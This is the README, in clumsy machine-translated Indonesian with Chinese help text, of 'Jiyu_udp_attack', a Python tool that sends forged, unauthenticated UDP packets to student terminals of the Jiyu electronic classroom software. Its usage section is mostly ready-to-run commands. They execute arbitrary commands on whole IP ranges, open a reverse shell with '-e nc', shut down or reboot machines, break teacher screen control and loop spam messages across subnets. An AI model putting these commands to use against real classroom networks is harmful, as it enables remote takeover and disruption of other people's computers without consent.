Jiyu_udp_attack

Skrip serangan ulangan paket data Kelas Elektronik Jiyu (udp).

• Karena terminal siswa Jiyu tidak melakukan (=・ω・=) otentikasi pada paket UDP yang diterima, kita dapat membuat paket data khusus untuk dieksekusi oleh terminal siswa, sehingga mencapai eksekusi perintah dan menyerang siswa online mana pun di terminal komputer mesin.

Lingkungan pengoperasian

• Python3

Catatan Rilis

v1.5

• Perbaiki bug eksekusi perintah

v1.4

• Rekonstruksi kode, optimalisasi logika pemilihan parameter
• Fungsi shell rebound menambahkan port acak
• Perbarui dokumentasi

v1.3

• Menonaktifkan/memulihkan kontrol layar
• Mendukung cangkang pantulan

v1.2

• memperbaiki bug

v1.1

• Opsi -g mendukung perolehan port yang sedang didengarkan siswa.

v1.0

• penyerahan pertama

Cara menggunakan:

 usage:

    ------------------- Github Repositories -------------------
            https://github.com/ht0Ruial/Jiyu_udp_attack

       [-h] -ip IP [-p P] [-msg MSG] [-c C] [-l L] [-t T]
       [-e {r,s,g,nc,break,continue}]
       {r,s,g,nc,break,continue} ...

positional arguments:
  {r,s,g,nc,break,continue}
                        -e 参数的详细说明
    r                   reboot 重启
    s                   shutdown 关机
    g                   独立选项，获取当前的ip地址以及学生端监听的端口
    nc                  独立选项，反弹shell的机器需出网，退出可使用命令exit
    break               独立选项，脱离屏幕控制，需要管理员权限
    continue            独立选项，恢复屏幕控制

optional arguments:
  -h, --help            show this help message and exit
  -ip IP                ip 指定目标IP地址
  -p P                  port 指定监听端口，默认端口为4705
  -msg MSG              send_message发送消息 eg: -msg "HelloWord!"
  -c C                  command命令 eg: -c "cmd.exe /c ipconfig"
  -l L                  循环次数，默认为1
  -t T                  循环时间间隔，默认是22秒
  -e {r,s,g,nc,break,continue}
                        Extra Options加载额外的选项 eg：-e r
          

Contoh penggunaan

Kiat:

Saat menggunakan parameter -ip untuk menentukan IP target, Anda dapat menentukannya dengan cara berikut:

• Tentukan satu IP, seperti 192.168.80.12
• Tentukan rentang IP, seperti 192.168.80.10-56
• Tentukan segmen C tempat IP berada, misalnya 192.168.80.1/24

1. Dapatkan alamat IP intranet dan port pendengaran

Jika port mendengarkan sisi siswa bukan 4705 default, Anda perlu menggunakan parameter -p untuk menentukan port selama operasi selanjutnya.

 python Jiyu_udp_attack.py -e g

2. Singkirkan kontrol layar

Izin yang berjalan saat ini harus berupa izin administrator, yang terutama digunakan untuk memulai layanan MpsSvc.

 python Jiyu_udp_attack.py -e break

3.Kembalikan kontrol layar

 python Jiyu_udp_attack.py -e continue

4.Kirim pesan

Jika port pendengaran sisi siswa adalah 4705 , kirim pesan dengan konten "halo, sayang!" ke mesin dengan alamat IP 192.168.80.12

 python Jiyu_udp_attack.py -ip 192.168.80.12 -msg "hello,baby!"

Jika port pendengaran sisi siswa adalah 4605 , Anda perlu menggunakan parameter -p untuk menentukan port dan mengirim pesan dengan konten "halo, sayang!" ke mesin dengan alamat IP 192.168.80.12.

 python Jiyu_udp_attack.py -ip 192.168.80.12 -p 4605 -msg "hello,baby!"

5. Jalankan perintah

Mainkan kalkulator untuk 192.168.80.12 hingga 192.168.80.137

 python Jiyu_udp_attack.py -ip 192.168.80.12-137 -c calc.exe

6. Cangkang pantulan

Saat melakukan rebound pada shell, IP hanya dapat berupa IP mesin tertentu dan tidak dapat di-rebound secara batch. Selain itu, mesin harus keluar dari jaringan karena eksekusi batch dari perintah arbitrer telah diterapkan , itu tidak ditambahkan.

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e nc

7. Matikan dan mulai ulang

Menutup

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e s

Mulai ulang

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e r

8. Lingkaran

Kirim pesan secara terus menerus menggunakan loop
Mesin 1-254 akan menerima pesan "halo, sayang!", dan akan terus mengeksekusi setelah 50 detik, sebanyak 3 kali.

    python Jiyu_udp_attack.py -ip 192.168.80.23/24 -msg "hello,baby!" -l 3 -t 50